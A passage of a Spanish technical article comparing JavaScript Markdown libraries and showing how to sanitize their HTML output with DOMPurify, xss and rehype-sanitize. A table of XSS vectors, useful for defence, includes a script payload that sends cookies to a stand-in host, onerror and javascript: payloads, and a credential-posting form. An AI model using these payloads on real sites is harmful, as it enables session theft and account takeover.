Renderizar Markdown en JavaScript sin enviar un agujero de seguridad
24 de julio de 2026 · actualizado el 9 de septiembre de 2026 · 36 min de lectura
Tres bibliotecas hacen la mayor parte del trabajo de Markdown a HTML en JavaScript, y responden a la misma pregunta: dame Markdown, devuélveme HTML. Lo que las distingue es la forma — qué expone el análisis y dónde te enganchas tú. Luego viene la parte que casi ningún tutorial cubre: lo que vuelve es HTML, y meterlo en una página no es seguro.
La elección suele tomarse en cinco minutos, a partir de un resultado de búsqueda, y luego se vive con ella cuatro años. Deja de ser barata en el momento en que alguien pide una tabla de contenidos, o que los enlaces externos se abran en una pestaña nueva y los internos no, o un id de encabezado que coincida con el ancla que un artículo de soporte ya enlaza. En ese punto la pregunta ya no es qué analizador es más rápido. Es si la biblioteca te dio algo a lo que sujetarte.
Lo segundo que envejece mal es la entrada. Un renderizador que apunta a tu propia documentación es un problema de renderizado. El mismo renderizador apuntando a una caja de comentarios, la descripción de una pull request, un archivo que subió un cliente o la salida de un modelo de lenguaje es un problema de seguridad, y ninguna de estas bibliotecas lo resuelve por ti — la más popular de todas lo dice en su propio README.
Resumen rápido
Usa marked cuando el trabajo es una cadena de entrada y una cadena de salida, y personalizar
significa sobrescribir unos cuantos métodos del renderizador. Usa markdown-it cuando quieras
conformidad con CommonMark más un plugin para cada extensión que te vayan a pedir con el tiempo, y la
capacidad de cambiar la salida de una sola etiqueta sin tocar el análisis. Usa unified —
remark-parse, remark-rehype, rehype-stringify — cuando necesites el documento como árbol, porque
es la única de las tres donde transformar el contenido no es cirugía de cadenas de texto. micromark
es el analizador debajo de remark y es la respuesta correcta solo si estás construyendo la capa que va
encima; snarkdown es un kilobyte y una serie de renuncias. Elijas lo que elijas, sanea el HTML
después con una herramienta cuyo único trabajo sea sanear.
Tres formas, un solo trabajo
| Library | Best for | Spec position | How you extend it | In a browser | Licence |
|---|---|---|---|---|---|
| marked | Una función, pocas piezas móviles | GFM activado por defecto (gfm: true); sin declaración formal de conformidad en su README |
marked.use() con un renderer, un tokenizer, extensiones propias, hooks y walkTokens |
Sí — navegador, Node y un CLI, todo desde un paquete | Gratis, MIT |
| markdown-it | Corrección, y un plugin para todo | Declara 100 % de soporte de CommonMark, con un preajuste commonmark para el modo estricto |
.use(plugin), .enable() / .disable() por regla, y sobrescribir md.renderer.rules[name] |
Sí | Gratis, MIT |
| unified (remark + rehype) | Transformar el documento, no solo renderizarlo | CommonMark vía micromark; GFM añadido por remark-gfm |
Plugins que recorren dos árboles de sintaxis, mdast para Markdown y hast para HTML | Sí, y solo ESM | Gratis, MIT |
| micromark | Construir una capa de analizador, no una aplicación | Declara 100 % de conformidad con CommonMark y es el motor dentro de remark | Extensiones de sintaxis y de HTML, escritas contra códigos de carácter y tokens | Sí | Gratis, MIT |
| snarkdown | Un kilobyte, cuando aceptas lo que cuesta | Sin declaración de conformidad; las tablas no están soportadas | Prácticamente no extensible — una sola función exportada | Sí | Gratis, MIT |
(Licencias, opciones y declaraciones de conformidad comprobadas en marked.js.org, github.com y cdn.jsdelivr.net, 9 de septiembre de 2026. No hay cifras de rendimiento en esa tabla a propósito: la velocidad es lo que mide toda comparativa y lo que menos decide de estas elecciones.)
marked es lo más pequeño que funciona. Llamas a marked.parse(), obtienes HTML. Personalizarlo
significa sustituir métodos del renderer — el que emite un encabezado, el que emite un enlace — o
registrar una extensión para sintaxis nueva. La mayoría de trabajos nunca llegan a ese techo.
markdown-it analiza a un flujo plano de tokens y renderiza ese flujo. Los tokens están documentados, así que el ecosistema de plugins es grande y los plugins se combinan: anclas, notas al pie, atributos, contenedores. Para cambiar la salida en vez de la sintaxis, sobrescribes la regla de un tipo de token.
La tubería unified es de otra naturaleza. remark-parse produce mdast, un árbol de sintaxis de
Markdown; remark-rehype lo convierte en hast, un árbol de HTML; rehype-stringify lo imprime. Cada
paso entre ambos es un plugin que recorre un árbol real — la única de las tres donde puedes recolectar
cada encabezado, o reescribir rutas de imagen relativas, sin una expresión regular.
Otras dos merecen conocerse, en extremos opuestos. micromark es el analizador sobre el que se construye remark: lee Markdown como códigos de carácter y emite tokens concretos con posiciones, y declara conformidad completa con CommonMark. Lo usarías directamente para construir una herramienta sobre Markdown — un linter, un formateador, un resaltador de sintaxis para un editor — en vez de para renderizar una página, porque por sí solo te da tokens y un compilador, no un documento que puedas recorrer. snarkdown es el otro extremo: una única función guiada por expresiones regulares, descrita por su propio README como 1kb de ES3 comprimido, sin tablas y sin saneado (comprobado en github.com, 9 de septiembre de 2026). Existe para un widget donde el sentido entero es que no se envía nada más.
Las bibliotecas en detalle
marked — las opciones que importan
La API de marked es una llamada y un objeto de opciones, y solo un puñado de esas opciones cambia el aspecto del HTML.
| Option | Default | What it does |
|---|---|---|
gfm |
true |
GitHub Flavored Markdown: tablas, tachado, listas de tareas, enlaces automáticos |
breaks |
false |
Un solo salto de línea se vuelve un <br>, como se comporta un comentario de GitHub |
pedantic |
false |
Sigue el markdown.pl original, errores incluidos, y renuncia a GFM para hacerlo |
async |
false |
walkTokens puede ser asíncrono y marked.parse() devuelve una promesa |
silent |
false |
Los errores vuelven como una cadena en vez de lanzarse |
renderer |
un Renderer |
Las funciones que convierten cada token en HTML |
tokenizer |
un Tokenizer |
Las funciones que convierten texto de origen en tokens |
walkTokens |
null |
Se llama para cada token, hijos antes que hermanos |
(Comprobado en marked.js.org, 9 de septiembre de 2026.)
breaks es la opción que la gente entiende mal. La regla de Markdown dice que un solo salto de línea
es un espacio y una línea en blanco es un párrafo, lo cual es correcto para prosa e incorrecto para
cualquier cosa escrita en una caja de mensajes, donde alguien que pulsa Intro espera que la línea
termine. Activar breaks es una decisión sobre tus usuarios, no sobre la especificación. pedantic
es un interruptor de compatibilidad para documentos escritos contra la implementación de 2004, y no es
lo que quieres para nada escrito en esta década.
La trampa mayor son las opciones que ya no existen. marked ha movido una larga lista de comportamientos fuera del núcleo y a paquetes aparte, y un fragmento copiado de una respuesta antigua pasa una opción que se ignora en silencio en vez de rechazarse.
| Removed option | Where it went |
|---|---|
sanitize, sanitizer |
Eliminada a favor de un sanitizador de verdad: DOMPurify, sanitize-html o insane |
highlight, langPrefix |
marked-highlight |
headerIds, headerPrefix |
marked-gfm-heading-id |
mangle |
marked-mangle |
smartypants |
marked-smartypants |
baseUrl |
marked-base-url |
xhtml |
marked-xhtml |
(Comprobado en marked.js.org, 9 de septiembre de 2026.) La primera fila es la importante. Si tu código
pasa sanitize: true y crees que eso es tu defensa, no tienes defensa.
Personalizar la salida significa sobrescribir métodos del renderer. Cada uno recibe el token y
devuelve una cadena, y this.parser está disponible para renderizar los hijos del token.
import { marked } from 'marked';
const slug = (text) =>
`doc-${text.toLowerCase().trim().replace(/[^\w]+/g, '-').replace(/^-|-$/g, '')}`;
marked.use({
renderer: {
heading({ tokens, depth }) {
const text = this.parser.parseInline(tokens);
return `<h${depth} id="${slug(text)}">${text}</h${depth}>\n`;
},
},
});
El tokenizer es la misma idea una etapa antes: sobrescribe la función que reconoce un trozo de
sintaxis, devuelve false y marked cae al comportamiento por defecto. Usa el renderer para cambiar
cómo se emite algo y el tokenizer para cambiar qué cuenta como ese algo en primer lugar.
Para sintaxis que marked no conoce, registra una extensión: un name, un level de block o
inline, un start que diga dónde podría empezar el token, un tokenizer que lo produzca y un
renderer que lo imprima. Los hooks quedan fuera del análisis por completo — preprocess ve el
Markdown antes de tokenizar, postprocess ve el HTML después, y processAllTokens ve entre ambos todo
el array de tokens. Un hook preprocess es el sitio más ordenado para quitar el front matter YAML,
que de otro modo se renderiza como un párrafo de líneas clave: valor en la parte de arriba de la
página.
El resaltado de sintaxis es ahora marked-highlight, que envuelve el resaltador que elijas y añade
los nombres de clase al elemento <code>.
import { Marked } from 'marked';
import { markedHighlight } from 'marked-highlight';
import hljs from 'highlight.js';
const marked = new Marked(
markedHighlight({
langPrefix: 'hljs language-',
highlight(code, lang) {
const language = hljs.getLanguage(lang) ? lang : 'plaintext';
return hljs.highlight(code, { language }).value;
},
}),
);
Dos cosas que notar. langPrefix es por defecto language-, así que una valla js produce
class="language-js" — y lo que espere tu hoja de estilos tiene que coincidir con eso, que es el
motivo habitual por el que el resaltado se aplica y queda invisible. Y el marcado que emite el
resaltador son elementos <span> con clases, que tu sanitizador tiene que permitir o eliminará el
resaltado otra vez después de que lo pagaras. Lo que necesitan los bloques de código en la
página cubre el resto de eso. Los resaltadores asíncronos funcionan si
fijas async: true y esperas el análisis. (marked-highlight es gratis y tiene licencia MIT; su valor
por defecto de langPrefix y su soporte asíncrono comprobados en github.com, 9 de septiembre de 2026.)
marked tiene licencia MIT, corre en un navegador, en Node y desde su propio CLI, y su README dice claramente que no sanea su salida (comprobado en github.com, 9 de septiembre de 2026).
markdown-it — preajustes, reglas y el ecosistema de plugins
markdown-it analiza a un flujo plano de tokens y renderiza ese flujo, y ambas mitades están abiertas. Empieza desde un preajuste, y los preajustes difieren de formas que importan más de lo que sugieren sus nombres.
| Preset | html |
maxNesting |
Rules enabled |
|---|---|---|---|
'default' (o nada) |
false |
100 |
Todo lo que implementa markdown-it, incluidas tablas y tachado |
'commonmark' |
true |
20 |
CommonMark estricto, nada más allá |
'zero' |
false |
20 |
Solo párrafos y texto — activas el resto por nombre |
(Leído de los archivos de preajuste en cdn.jsdelivr.net, 9 de septiembre de 2026.)
Lee otra vez la columna del medio. new MarkdownIt('commonmark') activa el HTML crudo, porque la
especificación CommonMark dice que el HTML crudo pasa. Pedir el preajuste más estricto hace tu
renderizador menos seguro, no más, y es un resultado genuinamente sorprendente al que llegar elegiendo
la opción que suena más rigurosa.
El preajuste zero es lo contrario y se usa poco. Activa paragraph, text y las reglas que las
unen, y nada más; luego llamas a md.enable(['emphasis', 'link', 'backticks']) y tienes un
renderizador que demostrablemente no puede producir un encabezado ni una tabla. Para un nombre de
visualización, un mensaje de commit o un campo de comentario de una línea, esa es una respuesta mucho
mejor que un analizador completo seguido de un sanitizador agresivo.
Las opciones por encima de un preajuste:
| Option | Default | What it does |
|---|---|---|
html |
false |
Deja pasar el HTML crudo en vez de escaparlo |
xhtmlOut |
false |
Emite <br /> en vez de <br> |
breaks |
false |
Un solo salto de línea se vuelve un <br> |
langPrefix |
'language-' |
Prefijo de clase en los bloques de código con valla |
linkify |
false |
Convierte URLs sueltas del texto en enlaces |
typographer |
false |
Comillas tipográficas, rayas y otras sustituciones |
quotes |
comillas curvas | Qué caracteres de comilla sustituye typographer |
highlight |
null |
Una función que devuelve HTML resaltado para un bloque de código |
maxNesting |
100 (20 en los preajustes estrictos) |
Límite de recursión, para que un documento manipulado no agote la pila |
(Valores por defecto leídos de los mismos archivos de preajuste en cdn.jsdelivr.net, 9 de septiembre de 2026.)
linkify es la opción que conviene pensar antes de activar. Reescribe texto que el autor no marcó
como enlace, lo que resulta conveniente en un mensaje de chat e incorrecto en documentación donde
example.com/path en medio de una frase se pensó para leerse, no para hacer clic. typographer es
parecido: cambia los caracteres de tu texto, lo que resulta agradable en un ensayo y destructivo en un
documento donde alguien escribió -- porque significaba algo. Ninguna de las dos está activada por
defecto, y ambas merecen una decisión en vez de un valor por defecto.
maxNesting no es cosmético. El énfasis profundamente anidado o las citas son una entrada clásica de
denegación de servicio para un analizador recursivo, y un límite es lo que evita que un archivo de
4 KB se lleve consigo un hilo de petición.
El ecosistema de plugins es la razón real para elegir markdown-it. Su README apunta a la palabra clave
markdown-it-plugin en npm para los escritos por la comunidad (comprobado en github.com, 9 de
septiembre de 2026), y se combinan, porque todos extienden la misma cadena de reglas documentada:
notas al pie, listas de definición, contenedores (::: warning), atributos, anclas, tabla de
contenidos, listas de tareas, abreviaturas, emoji. Donde marked te pide escribir una extensión,
markdown-it suele tener ya una, y añadirla es una llamada a .use(). La calidad varía, y un plugin que
no se ha actualizado desde la última versión mayor es un coste real — compruébalo antes de construir
sobre él.
Para cambiar la salida en vez de la sintaxis, sobrescribe una regla del renderer. Este es el patrón para añadir una clase o un atributo, y está documentado en la propia página de arquitectura del proyecto:
const defaultRender = md.renderer.rules.link_open || function (tokens, idx, options, env, self) {
return self.renderToken(tokens, idx, options);
};
md.renderer.rules.link_open = function (tokens, idx, options, env, self) {
tokens[idx].attrSet('target', '_blank');
tokens[idx].attrSet('rel', 'noopener noreferrer');
return defaultRender(tokens, idx, options, env, self);
};
(Patrón de la documentación de arquitectura de markdown-it, comprobado en github.com, 9 de septiembre
de 2026; la línea rel es la adición que quieres si vas a abrir un enlace en una pestaña nueva.)
Conserva la referencia a la regla anterior y llámala. Sobrescribir sin dejar que caiga al comportamiento
por defecto es cómo la gente pierde el atributo title y nunca lo nota, porque nada da error — el
atributo simplemente deja de aparecer.
markdown-it es gratis, tiene licencia MIT, y corre en un navegador. La propia documentación de VS Code dice que su vista previa de Markdown apunta a CommonMark usando markdown-it (comprobado en code.visualstudio.com, 9 de septiembre de 2026), lo cual es un aval justo de su conformidad y la razón por la que un documento que se ve bien en la vista previa de tu editor es una buena señal y no una garantía.
unified — dos árboles y los plugins entre ellos
La tubería unified no es un analizador con hooks. Es una secuencia de paquetes pequeños, cada uno de los cuales transforma un árbol, y entenderla significa entender que hay dos árboles.
mdast es el árbol de Markdown. Sus nodos son las cosas que tiene Markdown: heading, list,
listItem, link, image, code, blockquote, text. hast es el árbol de HTML. Sus nodos son
element, text y comment, con nombres de etiqueta y propiedades. Un encabezado en mdast tiene un
depth de 2; el mismo encabezado en hast es un element con tagName: 'h2'. Cualquier cosa que
quieras hacer en términos del documento — recolectar los encabezados, comprobar que cada enlace
resuelve, reescribir rutas de imagen relativas, exigir que cada imagen tenga texto alternativo — es un
trabajo de mdast. Cualquier cosa que quieras hacer en términos del marcado — añadir una clase,
envolver tablas en un contenedor con scroll, añadir loading="lazy" — es un trabajo de hast. Elegir el
árbol equivocado es la razón más común por la que un plugin unified se resiste.
| Step | Package | What comes out |
|---|---|---|
| Analizar | remark-parse |
mdast |
| Extender la sintaxis | remark-gfm, remark-frontmatter, remark-math |
mdast |
| Transformar el contenido | tu propio plugin, unist-util-visit |
mdast |
| Puente | remark-rehype |
hast — el HTML crudo se descarta salvo que pases allowDangerousHtml |
| Reanalizar el HTML incrustado | rehype-raw |
hast con ese HTML como nodos reales |
| Sanear | rehype-sanitize |
hast, filtrado contra un esquema |
| Serializar | rehype-stringify |
una cadena HTML |
Una tubería completa que acepta HTML crudo y sobrevive a él se ve así:
import { unified } from 'unified';
import remarkParse from 'remark-parse';
import remarkGfm from 'remark-gfm';
import remarkRehype from 'remark-rehype';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import rehypeStringify from 'rehype-stringify';
const processor = unified()
.use(remarkParse)
.use(remarkGfm)
.use(remarkRehype, { allowDangerousHtml: true })
.use(rehypeRaw)
.use(rehypeSanitize)
.use(rehypeStringify);
const html = String(await processor.process(markdown));
El orden es todo el modelo de seguridad. remark-rehype descarta el HTML crudo por defecto, lo cual es
seguro y normalmente no es lo que quieres; allowDangerousHtml lo conserva como un nodo crudo,
rehype-raw lo analiza en elementos reales tal como lo haría un navegador, y rehype-sanitize filtra
después esos elementos contra un esquema. La guía propia del proyecto es usarlo «después de lo último
que sea inseguro» (README de rehype-sanitize, comprobado en github.com, 9 de septiembre de 2026) — pon
un plugin que inyecte marcado después del sanitizador y lo has puesto fuera del sanitizador.
rehype-sanitize usa por defecto un esquema al estilo de GitHub, que es un punto de partida sensato y
deliberado: es el conjunto de etiquetas que GitHub mismo decidió permitir en un README.
remark-gfm añade cinco cosas y merece la pena nombrarlas, porque cada una es un fallo silencioso
concreto si falta: literales de enlace automático, notas al pie, tachado, tablas y listas de tareas.
Tiene licencia MIT, como el resto (comprobado en github.com, 9 de septiembre de 2026). Cuáles de esas
necesitan tus archivos es una pregunta sobre tus archivos, y las diferencias de dialecto detrás de ella
merecen leerse una vez.
La razón para asumir toda esta maquinaria es el centro de la tabla. Un plugin es una función que devuelve un transformador, y a un transformador se le entrega el árbol:
import { visit } from 'unist-util-visit';
const rewriteRelativeImages = (base) => () => (tree) => {
visit(tree, 'image', (node) => {
if (!/^[a-z][a-z0-9+.-]*:|^\/\//i.test(node.url)) {
node.url = new URL(node.url, base).href;
}
});
};
Son nueve líneas, es correcto para cada imagen del documento incluidas las que están dentro de texto de enlace y celdas de tabla, y no hay versión de esto en marked o markdown-it que no implique interceptar un método del renderer nodo por nodo o ejecutar una expresión regular sobre HTML ya terminado. Cuando la tarea es «hacer algo con cada X del documento», un árbol no es la respuesta más pesada, es la única que no se rompe tarde o temprano en un caso que no consideraste.
Los costes son reales y se cubren más abajo. Uno de ellos merece señalarse aquí: los paquetes unified
declaran que son solo ESM (comprobado en github.com, 9 de septiembre de 2026), lo cual es un bloqueo
directo en una compilación CommonJS antigua que no puede usar un import() dinámico.
react-markdown — la tubería, renderizada como componentes
En React, react-markdown se apoya en la tubería unified y renderiza elementos React en vez de una
cadena HTML, así que no interviene dangerouslySetInnerHTML. Su README declara que es seguro por
defecto y construye un DOM virtual a partir del árbol de sintaxis, así que React solo aplica el parche
de lo que cambió (comprobado en github.com, 9 de septiembre de 2026). Tiene licencia MIT.
import Markdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
<Markdown
remarkPlugins={[remarkGfm]}
components={{
a: ({ href, children }) => <Link to={href}>{children}</Link>,
code: CodeBlock,
}}
>
{text}
</Markdown>;
La propiedad components es la parte que se lo merece. Cada elemento HTML que la tubería habría
producido se puede sustituir por uno tuyo, así que un enlace se convierte en el enlace de tu router,
una valla de código se convierte en tu bloque resaltado con un botón de copiar, y una imagen se
convierte en tu componente de carga diferida — sin generar HTML y volverlo a analizar. remarkPlugins
y rehypePlugins toman los mismos plugins que cualquier otra tubería unified, con opciones pasadas
como plugin, options.
Dos avisos de seguridad, ambos de la propia documentación del proyecto. El HTML crudo del origen se
ignora salvo que añadas rehype-raw, y su guía es hacerlo solo si confías en el Markdown; añadir
rehype-sanitize junto a él es la respuesta cuando no confías. Y urlTransform — el hook que decide
en qué se convierte una URL de enlace o de imagen — es el único sitio donde puedes reintroducir un
agujero de XSS en un componente por lo demás seguro, sobrescribiéndolo con algo que deje pasar
javascript:.
MDX — algo completamente distinto
MDX parece el siguiente paso después de react-markdown y no está en el mismo eje en absoluto. MDX es
un formato de archivo que combina Markdown con JSX y las instrucciones ESM import y export, y
compila a un componente de JavaScript (comprobado en mdxjs.com, 9 de septiembre de 2026). El resultado
es código.
Esa distinción decide todo sobre dónde encaja. Un renderizador de Markdown toma texto en tiempo de
ejecución y produce marcado; MDX toma un archivo de origen en tiempo de compilación y produce un
módulo que se ejecuta. Sanear no es un paso en una tubería MDX porque no hay nada que sanear — el
archivo estaba autorizado a ejecutarse por diseño. MDX es la herramienta correcta para documentación y
páginas de marketing que viven en tu repositorio y necesitan componentes interactivos en medio de la
prosa, que es por lo que los frameworks de documentación lo usan — Docusaurus compila tanto .md como
.mdx con el compilador de MDX (comprobado en docusaurus.io, 9 de septiembre de 2026). Es
categóricamente la herramienta equivocada para cualquier contenido que llegue de un usuario, un
cliente, una API o un modelo. Si el origen no lo escribió alguien con acceso de commit, MDX no está en
la contienda, y ninguna bandera de configuración cambia esa respuesta.
Cuál es la mejor respuesta
La pregunta que las separa no es la velocidad, es si algún día necesitarás el documento como datos. Para Markdown de confianza que se renderiza en una página y nada más, marked o markdown-it bastan. Para una tabla de contenidos, comprobación de enlaces o cualquier transformación que dependa de la estructura, remark y rehype son la respuesta correcta, y las otras dos se convierten en cirugía de cadenas de texto. Lo que cuesta adivinar mal en la otra dirección tiene su propia sección más abajo.
Sus valores por defecto difieren en dialecto, lo cual aparece como salida que falta, no como un error.
marked tiene GitHub Flavored Markdown detrás de una opción gfm, activada por defecto. markdown-it
activa tablas y tachado en su preajuste por defecto pero deja las listas de tareas a un plugin.
unified lo toma todo de remark-gfm. Si un documento llega sin sus tablas o sus listas de tareas,
comprueba primero el dialecto — ver CommonMark, GFM y los dialectos.
Dicho como tabla de referencia, porque la mayoría de estas decisiones caben en una línea:
| What you are building | Reach for |
|---|---|
| Una caja de comentarios, un panel de vista previa, una burbuja de chat | marked, con un sanitizador |
| Un README renderizado en tu propia app | marked o markdown-it, lo que ya esté ahí |
| Una compilación de documentación que añade anclas, contenedores y notas al pie | markdown-it, y sus plugins |
| Un campo de una sola línea: un nombre de visualización, el asunto de un commit | markdown-it con el preajuste zero y tres reglas activadas |
| Una tabla de contenidos, comprobación de enlaces, linting de estilo de la casa | unified, sobre mdast |
| Reescribir URLs, añadir clases, envolver elementos | unified, sobre hast |
| Una aplicación React | react-markdown, con components |
| Prosa con componentes interactivos, escrita por tu propio equipo | MDX, en tiempo de compilación |
| Un widget donde el peso del paquete es la restricción | snarkdown, sabiendo qué no hace |
| Un linter o formateador sobre Markdown mismo | micromark, o mdast directamente |
El agujero: analizar no es sanear
Markdown permite HTML crudo por diseño, así que cualquier analizador que respete la especificación
deja pasar <img src=x onerror=alert(1)> directo a tu página. marked antes tenía una opción
sanitize; se marcó obsoleta y luego se eliminó a favor de un sanitizador dedicado. markdown-it usa
por defecto html: false, que cierra la puerta más ancha, pero el destino de un enlace sigue siendo
la entrada de un atacante.
Las tres bibliotecas toman tres posturas sobre esto, y ninguna es «nosotros nos encargamos»:
| marked | markdown-it | unified (remark + rehype) | |
|---|---|---|---|
| Salida | Una cadena HTML | Una cadena HTML, vía tokens | Un árbol, serializado al final |
| HTML crudo | Se deja pasar | Se escapa por defecto (html: false), pasa en el preajuste commonmark |
Se descarta salvo allowDangerousHtml y rehype-raw |
| Saneado | Ninguno | Ninguno | rehype-sanitize, si lo añades |
| Qué dice el proyecto | Usa DOMPurify, sanitize-html o insane sobre el HTML de salida | Nada se escapa en cuanto fijas html: true — y el preajuste commonmark lo fija |
allowDangerousHtml es peligroso; usa rehype-sanitize después |
Así que: renderiza, luego sanea con una herramienta cuyo único trabajo sea sanear, siempre en ese orden.
La razón por la que el orden no es negociable es que sanear el origen Markdown no funciona. Markdown tiene demasiadas formas de escribir el mismo resultado — enlaces de referencia, escapes de entidad, enlaces automáticos, comentarios HTML — así que un filtro sobre el origen es un filtro sobre una sola forma de escribirlo. El HTML es la única representación donde lo que estás decidiendo es inequívoco, porque es lo que de verdad se le va a entregar al navegador.
Lo que un sanitizador tiene que detener es una lista más larga de la que la mayoría lleva en la cabeza:
| Vector | What it looks like | What stops it |
|---|---|---|
| Elemento script | <script>fetch('//x/'+document.cookie)</script> |
script no está en la lista blanca de etiquetas |
| Atributo manejador de evento | <img src=x onerror=alert(1)> |
on* no está en la lista blanca de atributos |
URL javascript: |
[click me](javascript:alert(1)) |
Una lista blanca de esquemas en href y src |
URL data: con marcado dentro |
<iframe src="data:text/html,<script>…"> |
iframe apagado; lista blanca de esquemas en src |
| SVG con script o manejadores | <svg><script>…</script></svg> |
SVG apagado salvo que de verdad necesites SVG en línea |
| Estilo en línea y CSS que trae recursos | <div style="background:url(//x)"> |
Descarta style, conserva class |
| Formulario que envía a otro sitio | <form action="//x"><input name=pw> |
form, input, button fuera de la lista |
<base> que reescribe cada enlace relativo |
<base href="//x/"> |
base fuera de la lista |
meta refresh que redirige la página |
<meta http-equiv=refresh content=…> |
meta fuera de la lista |
DOM clobbering vía id o name |
<a id="config"> que sombrea un global |
Prefijar los ids, o eliminarlos |
| Anidamiento suficientemente profundo para agotar la pila | Centenares de citas anidadas | Un límite de anidamiento en el analizador, antes del sanitizador |
El argumento completo para construir esto como lista blanca en vez de lista negra es un artículo aparte; la versión corta es que una lista negra es una lista de los ataques que alguien ya pensó.
Qué sanitizador, y dónde encaja
| Sanitiser | Runs where | Needs a DOM | Configured with | Licence |
|---|---|---|---|---|
| DOMPurify | Nativo en el navegador; en Node con jsdom | Sí | ALLOWED_TAGS, ALLOWED_ATTR, USE_PROFILES, hooks |
Gratis, Apache-2.0 o MPL-2.0 |
| sanitize-html | Node, y empaquetado para el navegador | No — analiza con htmlparser2 | allowedTags, allowedAttributes, allowedSchemes, transformTags |
Gratis, MIT |
| rehype-sanitize | Donde corra unified | No — filtra hast | Un esquema, al estilo de GitHub por defecto | Gratis, MIT |
(Licencias y opciones de configuración comprobadas en github.com, 9 de septiembre de 2026. El repositorio independiente de sanitize-html se archivó en febrero de 2026 y el paquete se movió al monorepo de ApostropheCMS, algo que vale la pena saber antes de abrir un issue contra el antiguo.)
Elige según dónde corre el código, no según reputación. DOMPurify es la respuesta correcta en un
navegador, donde usa el propio analizador del navegador y por lo tanto ve exactamente lo que va a ver
el navegador — incluida la recuperación deformada que hace un analizador real ante marcado roto, que
es justo donde pierde un filtro que compara cadenas de texto. Tiene hooks, y SANITIZE_NAMED_PROPS
contra el DOM clobbering. rehype-sanitize es la respuesta correcta si ya tienes una tubería unified,
porque filtra el árbol en el sitio y nunca hay un momento en que el HTML inseguro exista como cadena.
sanitize-html es la respuesta correcta cuando necesitas una implementación que se comporte igual en
Node y en el navegador sin una implementación de DOM debajo.
Renderizar, luego sanear, en el navegador
DOMPurify es la elección estándar. Dale una lista blanca explícita en vez de la predeterminada: la lista blanca es el formato de documento que decidiste soportar.
import { marked } from 'marked';
import DOMPurify from 'dompurify';
export const ALLOWED_TAGS = [
'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'br', 'hr', 'strong', 'em', 'del',
'ul', 'ol', 'li', 'blockquote', 'pre', 'code', 'table', 'thead', 'tbody',
'tr', 'th', 'td', 'a', 'img', 'input',
];
export const ALLOWED_ATTR = [
'href', 'src', 'alt', 'title', 'id', 'class', 'target', 'rel',
'type', 'checked', 'disabled', 'colspan', 'rowspan',
];
export function render(markdown) {
const html = marked.parse(markdown, { gfm: true });
return DOMPurify.sanitize(html, { ALLOWED_TAGS, ALLOWED_ATTR });
}
Mantén los dos arrays en un módulo y expórtalos. En el momento en que el mismo documento se renderice en otro sitio, tienen que coincidir exactamente.
La misma lista blanca en el servidor
DOMPurify necesita un DOM real y el servidor no tiene ninguno. Un sustituto pobre es peor que nada:
sin un DOM utilizable, DOMPurify devuelve la entrada sin cambios en vez de lanzar un error, etiqueta
script incluida. O le das jsdom, o usas un sanitizador que analice el HTML por sí mismo, como xss.
import { marked } from 'marked';
import { FilterXSS } from 'xss';
import { ALLOWED_ATTR, ALLOWED_TAGS } from './allow-list.js';
const filter = new FilterXSS({
whiteList: Object.fromEntries(ALLOWED_TAGS.map((tag) => [tag, [...ALLOWED_ATTR]])),
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style', 'iframe', 'object', 'embed'],
});
export const render = (markdown) =>
filter.process(marked.parse(markdown, { gfm: true }));
stripIgnoreTag elimina una etiqueta desconocida en vez de escaparla, que es el comportamiento por
defecto; stripIgnoreTagBody se lleva también su contenido, así que un <script> eliminado no deja
código detrás. El paquete xss es gratis, tiene licencia MIT, y analiza el HTML por sí mismo en vez de
pedir un DOM, lo cual lo hace usable en una función sin jsdom (FilterXSS, whiteList,
stripIgnoreTag y stripIgnoreTagBody comprobados en github.com, 9 de septiembre de 2026).
Así está construido TransformPipe: marked para el análisis, DOMPurify en el navegador, el paquete
xss en el servidor, una sola lista blanca importada por ambos, así que un documento se lee igual en
la app y en una página compartida. Un detalle que vale la pena copiar: los ids de encabezado llevan un
prefijo doc-. Un id se convierte en una propiedad con nombre en window, y DOMPurify elimina los ids
que parecen un riesgo de clobbering mientras que un sanitizador basado en analizador los conserva — el
prefijo termina con los dos problemas a la vez. El argumento a favor de las listas blancas está en
sanear Markdown de forma segura; los mismos dos pasos en Python
están en Markdown a HTML en Python.
Renderizar la salida de un modelo mientras llega en streaming
La mitad del Markdown que se renderiza hoy en un navegador llega unos cuantos caracteres a la vez,
desde un modelo, por un flujo. Todo enfoque ingenuo para esto es el mismo enfoque: añade el trozo a un
buffer, vuelve a renderizar el buffer entero, fija innerHTML. Funciona en una demo y falla de cuatro
formas concretas.
El documento es sintácticamente inválido casi todo el tiempo. Markdown no tiene análisis parcial.
Un buffer que termina en el inicio de una valla significa que todo lo que viene después es un bloque
de código, así que una tabla que llega dentro de un ejemplo con valla se renderiza como código, luego
como tabla, luego otra vez como código cuando llega la valla de cierre. Un [label](htt a medio
escribir es texto literal en un frame y un enlace en el siguiente. Una tabla cuya fila delimitadora
todavía no ha llegado es un párrafo de caracteres de barra. Un solo * al final del buffer es un
asterisco literal hasta que aparece su pareja y el resto del párrafo se vuelve cursivo. Nada de esto es
un fallo del analizador — el analizador está renderizando correctamente un documento que de verdad
está incompleto.
Sustituir innerHTML en cada frame destruye el estado de la página. Se pierde la selección de
texto, un <details> abierto se cierra, el foco se mueve, y a un usuario que se desplazó hacia arriba
para leer algo se le arrastra de vuelta hacia abajo. Es además lo más costoso que puedes hacer por
token, porque estás descartando un DOM que estás a punto de reconstruir casi idéntico.
El coste es cuadrático. Volver a analizar y volver a sanear el buffer entero en cada trozo hace que el trabajo por trozo crezca con la longitud de la respuesta. Una respuesta corta está bien; una de dos mil palabras con cien trozos hace que cada uno de los últimos cien renderizados haga casi todo el trabajo del final.
Es fácil saltarse el saneado en los renderizados intermedios. Sanear solo el HTML final es un
agujero con temporizador: cada frame antes del último puso HTML sin sanear en la página, y un
manejador onerror se dispara en el momento en que se analiza, no cuando termina el flujo.
Lo que funciona en su lugar es un pequeño conjunto de reglas:
- Renderiza según un reloj, no según cada trozo. Agrupa los trozos y renderiza como máximo una vez por frame de animación, o cada 50 a 100 milisegundos. El texto llega más rápido de lo que nadie lee.
- Divide el buffer en asentado y en vivo. Todo hasta la última línea en blanco que no esté dentro de una valla abierta ya no va a cambiar. Renderiza eso una vez, mantenlo en el DOM, y vuelve a renderizar solo la cola de después. Esto convierte el coste cuadrático de vuelta en lineal.
- Sigue tú mismo el estado de las vallas. Cuenta los inicios de valla en el buffer; si el
